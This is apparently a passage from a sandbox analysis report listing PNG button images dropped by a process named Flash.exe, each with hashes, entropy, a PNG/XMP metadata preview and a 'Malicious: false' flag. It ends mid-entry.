C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\blue_btn_big_normal_200.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 340 x 80, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1395
Entropy (8bit):	6.88489086743815
Encrypted:	false
SSDEEP:	24:cx1hNo7FCWwjx82lY2T36VbwaAryJ3VJKNcGz1Gk0XB9/nI5w6/:izo7FDNn2mRsmJ3Tack4k0XB1nI5X
MD5:	4FBDFA9D58C9CB8069A0B34DB6EF7F14
SHA1:	117D3533FA28CA2256362889E1414C7525D9EDC4
SHA-256:	2E287006C89C8D59E3EC5412E184173925ECDB8162F7C3D34552521438F84004
SHA-512:	CB11357F2E9C0DDDC6D187AD33E540BF87F000E28B07F50D6C976DDAABB95D1D1B2251908107E05F46AAD5C380DCDDC9CB5C4730F7DDA2BBD661E7CEEC5129C1
Malicious:	false
Preview:	.PNG........IHDR...T...P........@....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2018 (Windows)" xmpMM:InstanceID="xmp.iid:09F42669A43E11E89AF3D2A1D70E5D2C" xmpMM:DocumentID="xmp.did:09F4266AA43E11E89AF3D2A1D70E5D2C"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:09F42667A43E11E89AF3D2A1D70E5D2C" stRef:documentID="xmp.did:09F42668A43E11E89AF3D2A1D70E5D2C"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.k....IDATx...M.Q.E...#!..D..E;.......`o...$.t..73^....0@.G.M.......g..o./.._...,O."..e.J._.._#..j.un.......5?

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\blue_btn_big_press_100.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 170 x 40, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	6.670778295733156
Encrypted:	false
SSDEEP:	24:h1hNo7FCWwjx82lY2T36Vw40VayJ3VMBkfG9e5AT2C1VgSlrPaC:Pzo7FDNn2mCvhJ3KSfKOadPaC
MD5:	6BA31A226AC962BDF36BD831DB3B9C04
SHA1:	C73AF646D664327FE1188F9BE95A7A537FAD1E5E
SHA-256:	62D25624EBC656D732AE3C0E3F62FAA1480A9A7C7DA477680FEC0E0CE96C7BE9
SHA-512:	CB95FB2870CC9370553E8940B357D38B7CA1CC7BAFBFAE55F169C1C0DADE87A3BA51C7B43F3E32EF39B958E08318F7DA63113E31FE398562AD45797939CC99E1
Malicious:	false
Preview:	.PNG........IHDR.......(......l......tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2018 (Windows)" xmpMM:InstanceID="xmp.iid:0AB06080A43E11E8A0A38021BCD16CC4" xmpMM:DocumentID="xmp.did:0AB06081A43E11E8A0A38021BCD16CC4"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:0AB0607EA43E11E8A0A38021BCD16CC4" stRef:documentID="xmp.did:0AB0607FA43E11E8A0A38021BCD16CC4"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>......%IDATx.....1....7...D.3..7$$....'W.u.xn.v................q[.;..0....^.P....LS....2..`..g..g.......3..._5

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\blue_btn_big_press_200.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 340 x 80, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1485
Entropy (8bit):	7.03630512270323
Encrypted:	false
SSDEEP:	24:cx1hNo7FCWwjx82lY2T36VPoiVyJ3VPfiXYGMN8JSTe0Pm2qkup8QmCcJy4m7UXH:izo7FDNn2mUJ3niM3CFipZm7UXChnX0
MD5:	0BEEC5F2D33BB0035FC0ADD10B1896A3
SHA1:	479E215D0D2649B8B02188B2FA43A9C2BFB656D3
SHA-256:	9CEEAD152FD66642F1767E43233DD0B01FE60F727C174D6F9CE29DA94A861959
SHA-512:	1B0F0C4EB6B00C6DD513D23B05C0DD39B58A5894EE535F61873DECA9A1755CD03747BAF4D5C00CBBE3B30B2005B0261AF86CE8828E82EFDFE844349CA86EF4FA
Malicious:	false
Preview:	.PNG........IHDR...T...P........@....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2018 (Windows)" xmpMM:InstanceID="xmp.iid:093B4C1CA43E11E8A57EF3423D624850" xmpMM:DocumentID="xmp.did:093B4C1DA43E11E8A57EF3423D624850"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:093B4C1AA43E11E8A57EF3423D624850" stRef:documentID="xmp.did:093B4C1BA43E11E8A57EF3423D624850"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...P...=IDATx...=N+A....rN....3v...)...{~l....'..[U..<..\|.......<.......Y@....Z..I@.\|L.9...N..5........sM~G...k.

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\blue_btn_disable_100.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 130 x 40, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1070
Entropy (8bit):	6.2699401758980615
Encrypted:	false
SSDEEP:	24:A1hNo7FCWwjx82lY2T36VzqHa/yJ3VzYPGG1jtLFj2Lmz/Uk7:ezo7FDNn2mFqnJ3FvUBILmz/3
MD5:	0E62FBD97B9A4DAC4875BC965C472AD0
SHA1:	F44242D3C7445813A1692D0D4CAA22A1C78B30EC
SHA-256:	7DC2F4F9F4DA5709FE5E5490639B3B9B0B400C7C64A87AB6959E88FFCB0F3E6D
SHA-512:	D1C1F27514D741D9C61A01DF8EB6018475DFEB4ABE9F71D59DCAF693FF3580AF157310CF542341FBCE63A12E6C3F1E18BFB6FC89C036708942812AB1D15AB9B3
Malicious:	false
Preview:	.PNG........IHDR.......(......."....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2018 (Windows)" xmpMM:InstanceID="xmp.iid:0D288E3DA43E11E8A415AF3E9F55CB47" xmpMM:DocumentID="xmp.did:0D288E3EA43E11E8A415AF3E9F55CB47"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:0D288E3BA43E11E8A415AF3E9F55CB47" stRef:documentID="xmp.did:0D288E3CA43E11E8A415AF3E9F55CB47"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.+J.....IDATx.....0.DQ`.s..?qG..F.0.K....v.V..c.....s.D"..'..,.....D.....6.....Zb.%"`....6.m......l...1....Z7.fa).

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\blue_btn_disable_200.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 260 x 80, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1206
Entropy (8bit):	6.448912405602953
Encrypted:	false
SSDEEP:	24:j1hNo7FCWwjx82lY2T36VtFf75yJ3VtnegGm+1VVekkmzOJ3Q9GD:pzo7FDNn2m7OJ37nFW1Vioq
MD5:	88B0FEC90A66F4CAFDD533C857BC5721
SHA1:	6F4D0EB102EC77E2B018121E249A65590680212F
SHA-256:	01A3DE449C22AB432D54415DFB3DC65145DA915B6A736A8D80E21DA9E99615E7
SHA-512:	7E83CEEBDB4F4EF49814A5B30A5060F9D2811588CE60B56AC98AF92BF5044C73D572EE5827ED8DC7877B2660187D0A6264BC2665244C8C2F91C2EA46EA52F638
Malicious:	false
Preview:	.PNG........IHDR.......P.....p.......tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2018 (Windows)" xmpMM:InstanceID="xmp.iid:0BBA84CDA43E11E8A5ACBE0F2699FDDD" xmpMM:DocumentID="xmp.did:0BBA84CEA43E11E8A5ACBE0F2699FDDD"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:0BBA84CBA43E11E8A5ACBE0F2699FDDD" stRef:documentID="xmp.did:0BBA84CCA43E11E8A5ACBE0F2699FDDD"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>}.A....&IDATx...A.. ..P........%D.. 6]......>.s.@.{..-.1..O).]..........E....d...H...:.H...@2.8...X.....5.H`.

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\blue_btn_hover_100.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 130 x 40, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1207
Entropy (8bit):	6.596012292197197
Encrypted:	false
SSDEEP:	24:A1hNo7FCWwjx82lY2T36VzrjrHLyJ3VzLKtqbGxXYORRn5r:ezo7FDNn2mFCJ3Fv2Rh5r
MD5:	5C83100DC6EC314B912706AAC183C04D
SHA1:	360A7549BD6CC6FC33C8CD5856FBB92667261DBB
SHA-256:	964944641DC01A37BFEA225C4813754A9B08FDF850F48DEB445D3992EC24017B
SHA-512:	9894E959081E38572AF8487C14B7D92D4BA95D7BE2BCF86120B8140BBEDDC5947D0AC958E76873F9E5704F5DE811289FAF43C7FB3DAE346FF498812809CD7DE5
Malicious:	false
Preview:	.PNG........IHDR.......(......."....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2018 (Windows)" xmpMM:InstanceID="xmp.iid:0DD88EE1A43E11E8BC7091A828C40FF2" xmpMM:DocumentID="xmp.did:0DD88EE2A43E11E8BC7091A828C40FF2"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:0DD88EDFA43E11E8BC7091A828C40FF2" stRef:documentID="xmp.did:0DD88EE0A43E11E8BC7091A828C40FF2"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..8....'IDATx..1..1.C.....pB...~.i..2N.;......H......7....... ....e.H...%A...p..J....R...HG(.\.C)...]....`.%

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\blue_btn_hover_200.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 260 x 80, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1416
Entropy (8bit):	6.903183584511043
Encrypted:	false
SSDEEP:	24:j1hNo7FCWwjx82lY2T36VV5trMnCyJ3VVorMtG860s679nMyZLij:pzo7FDNn2mj8pJ3jftz9JZL8
MD5:	00EF56DE2AF293E89CF4862A2EFB1357
SHA1:	4C08C31297B7CCA493CF8116FBA154432302E78F
SHA-256:	C12DD284CD119FF8C216D197565F524ED15A372A8F20BBDACFCBAA36BDFD409E
SHA-512:	0E0E53345C95CA123A541281AACD47E8605767081E40097E72FF53BD85070EE5F123B72D49002CBD33E2CBD4982958A135D0BDBBE42B80D59730AC6E35540508
Malicious:	false
Preview:	.PNG........IHDR.......P.....p.......tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2018 (Windows)" xmpMM:InstanceID="xmp.iid:0C733924A43E11E89844FD601DC8F08A" xmpMM:DocumentID="xmp.did:0C733925A43E11E89844FD601DC8F08A"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:0C733922A43E11E89844FD601DC8F08A" stRef:documentID="xmp.did:0C733923A43E11E89844FD601DC8F08A"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>O......IDATx...1R.0..P..e(.`O.8....`.]....@.5@..........q..@.E....._..i.^.[1Dm..O..jO..;d...j@-..P...A2.H..j.

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\blue_btn_normal_100.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 130 x 40, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1155
Entropy (8bit):	6.420283057140755
Encrypted:	false
SSDEEP:	24:A1hNo7FCWwjx82lY2T36V6qyJ3Vxju8G1vv41wLwIRrGef2qt:ezo7FDNn2muJ394vv41wLwIRrGext
MD5:	689ED2DFD3417D0BD8261FDD97FE7D30
SHA1:	1F74190600AA492AF28BFA2C29545972CBD6DBBA
SHA-256:	FD3243FBA68715B71F89A115987F882B4D8C52A83AACA8EB2664EAF4F1118D47
SHA-512:	C91D00A0EA22576AA835E5CE25518AA6E5D88CE9F998DF589EA6544A69A90983ED5A91B9BE9DE5E558CB98FF3595346F9310803DF48CF71C70E1465F8393D9E8
Malicious:	false
Preview:	.PNG........IHDR.......(......."....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2018 (Windows)" xmpMM:InstanceID="xmp.iid:0E38A3A2A43E11E8821B819E0313CE20" xmpMM:DocumentID="xmp.did:0E38A3A3A43E11E8821B819E0313CE20"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:0E38A3A0A43E11E8821B819E0313CE20" stRef:documentID="xmp.did:0E38A3A1A43E11E8821B819E0313CE20"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..E@....IDATx..1..@...D......o..hh...B.x.].>a..l.dw...&={..E..z9.1.a.....1...1h.a..E..AC:.i+%h...Pt..M..4......n

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\blue_btn_normal_200.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 260 x 80, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1347
Entropy (8bit):	6.748826733175431
Encrypted:	false
SSDEEP:	24:j1hNo7FCWwjx82lY2T36VfAx7rWhyJ3VfS0r4puGEu2LRsETBWmfEe3xGm/ERwEV:pzo7FDNn2mlQJ3ljFueR9TBWms28m/En
MD5:	1FC81D25E1B9DF388EBFD769AF0EE2B5
SHA1:	CC367C639749300AE54CE9E5C04DA19F99C0B57D
SHA-256:	6723DF93337F753B44D48CFCA080CE0C541860822C5363D0E640DC32BD38684E
SHA-512:	49A7D8C3153E898973DDFBFC1C05CE4E410BF57E17DFD086866E144DF5E28AB314A3FC86A7402BF7DE7D5B76808E263284A392AF284E28F05DA94852E3BC63A2
Malicious:	false
Preview:	.PNG........IHDR.......P.....p.......tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2018 (Windows)" xmpMM:InstanceID="xmp.iid:0CCCBD5DA43E11E8A801808B2CFD32B0" xmpMM:DocumentID="xmp.did:0CCCBD5EA43E11E8A801808B2CFD32B0"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:0CCCBD5BA43E11E8A801808B2CFD32B0" stRef:documentID="xmp.did:0CCCBD5CA43E11E8A801808B2CFD32B0"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>........IDATx...1N.@...!J....A..kq.(MZ.......#.~.+@..F..8./._..D.<.h.....r.y.....v....##=...>.....![2d...'C.d...J.I.

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\blue_btn_press_100.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 130 x 40, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1202
Entropy (8bit):	6.60955914414424
Encrypted:	false
SSDEEP:	24:A1hNo7FCWwjx82lY2T36VzWdsyJ3VztwkGupD94rQZG8z:ezo7FDNn2mFcJ3FOkDD4Mg8z
MD5:	80FCCBA142E9EBAAA64ECDC577D58534
SHA1:	B1C406F5F9EF018BA537492435C772C45C0F439F
SHA-256:	84E564E6597206E92A2A2E1CA7A0E1F09FE910981D16AC59646F06E0A8CFA939
SHA-512:	32506A46A49B3B311E40A333F2EBD8D28AF99342070970D938EFD776134F2A63965685E6AD146576272902AC081CD4717233A640D51B69376224DD2C77F98E6D
Malicious:	false
Preview:	.PNG........IHDR.......(......."....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2018 (Windows)" xmpMM:InstanceID="xmp.iid:0D83C04FA43E11E8B2528726DF82EABB" xmpMM:DocumentID="xmp.did:0D83C050A43E11E8B2528726DF82EABB"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:0D83C04DA43E11E8B2528726DF82EABB" stRef:documentID="xmp.did:0D83C04EA43E11E8B2528726DF82EABB"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>J.[ ..."IDATx...B1.D.....J$6c+vCB.d..q.....Y..?.....gP....~}h......PE/.U.........h...FJ..e. .))...Pj(1..^.;.2'

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\blue_btn_press_200.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 260 x 80, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1431
Entropy (8bit):	6.883902668086901
Encrypted:	false
SSDEEP:	24:j1hNo7FCWwjx82lY2T36VHrDyJ3VUgMryGWTtm0Q7ZLttntjjdv3:pzo7FDNn2moJ3SehQ7ZLtP93
MD5:	2BBC78551AE670660531020F26657E6C
SHA1:	2B1D27DC85E9BDC55E1DDAB02BDD9EAB30D6B791
SHA-256:	0734176907D3A892A2D6CA4D649C0B2C4D1456200D44DE120E512EE103C9D790
SHA-512:	4907A961B29E9C41074F9B9329587A960CD87C025ECC83F66A4F5D5568F67429F84A8A5165793CB615EF70301420AAA21BD8F2617483EBABBAFBE6F8E194D68C
Malicious:	false
Preview:	.PNG........IHDR.......P.....p.......tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2018 (Windows)" xmpMM:InstanceID="xmp.iid:0C117405A43E11E8A8AEF02BB9D36D61" xmpMM:DocumentID="xmp.did:0C117406A43E11E8A8AEF02BB9D36D61"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:0C117403A43E11E8A8AEF02BB9D36D61" stRef:documentID="xmp.did:0C117404A43E11E8A8AEF02BB9D36D61"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>S.......IDATx...1N.1..P...A.E.[q7$D.%bv'..d..~..>..L.}x... ...@w.....kAY.o/.0.....+C.PP9..+CN...!{e..H..&Ek...m

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\blue_button_100.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 130 x 40, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1155
Entropy (8bit):	6.463378537050842
Encrypted:	false
SSDEEP:	24:A1hiyWwjx82lY2T37V+ygUIHgUCLyJ3VvRgUx9gULbGvovv41wLwIRrGef2qt:euNn2vkygU6gURJ3hRgUngUvRvv41wL1
MD5:	9BD228AC85BF75F9CFD08AAD17405B3A
SHA1:	16E917DF33124761A2E3DD1C74B3A77A7461F272
SHA-256:	343502E5BCDBCC46DA9BBE82E2409006457C1ADDFEC92BD9C9083E5B86265CE8
SHA-512:	977966FF7A0E3033133A33B9796AD6DF04D052F3D10F1E248B493862772B5989BEE97B3E8790DBFA4360C35FAC8C3BE514770825DB2E1A52E637FBD52FAB3A18
Malicious:	false
Preview:	.PNG........IHDR.......(......."....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)" xmpMM:InstanceID="xmp.iid:8ABB75611D3511E8B07590B3E2C07782" xmpMM:DocumentID="xmp.did:8ABB75621D3511E8B07590B3E2C07782"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8ABB755F1D3511E8B07590B3E2C07782" stRef:documentID="xmp.did:8ABB75601D3511E8B07590B3E2C07782"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>........IDATx..1..@...D......o..hh...B.x.].>a..l.dw...&={..E..z9.1.a.....1...1h.a..E..AC:.i+%h...Pt..M..4......n

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\blue_button_125.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 180 x 50, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1232
Entropy (8bit):	6.646055244772475
Encrypted:	false
SSDEEP:	24:Zw1hiyWwjx82lY2T37VGfHNKo8yJ3VaIKiGSeLHyYkQEn6io:ZOuNn2v0f7J3HReLPTM6Z
MD5:	D783C5E150338995383A6748A2F6AA50
SHA1:	BC5B29EBE5943FDDC3C69F96F2D2B44D8A1428C6
SHA-256:	00F07968F7416F7D9E99125EC1E0285225CC07086DD52116E287D08F2B04E9F0
SHA-512:	877753ED2B2E921FD61EE5DB4F00E054144381D01672F0CFAC4C2EE8609043F5991F12A74CC6C5866142F8554FAE1DCB7288C64AB4D3EFD867A7F7D65625F144
Malicious:	false
Preview:	.PNG........IHDR.......2.....zFf.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)" xmpMM:InstanceID="xmp.iid:51C345502B1B11E8AAA6AD1209EFEC23" xmpMM:DocumentID="xmp.did:51C345512B1B11E8AAA6AD1209EFEC23"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:51C3454E2B1B11E8AAA6AD1209EFEC23" stRef:documentID="xmp.did:51C3454F2B1B11E8AAA6AD1209EFEC23"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>D,y....@IDATx...;N.A.E.B..." ...X.$.,..f..]........>mO?..~..U...........Q..,pC......F..(.@+.....q8..!VR...Gn...+

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\blue_button_150.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 230 x 60, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1278
Entropy (8bit):	6.662126120766274
Encrypted:	false
SSDEEP:	24:Y1hiyWwjx82lY2T37VfuVaduayJ3V9uBxkyufGlcJmZPPiomB35fXmEt:WuNn2vZROJ3zO0ScJmP4B3N
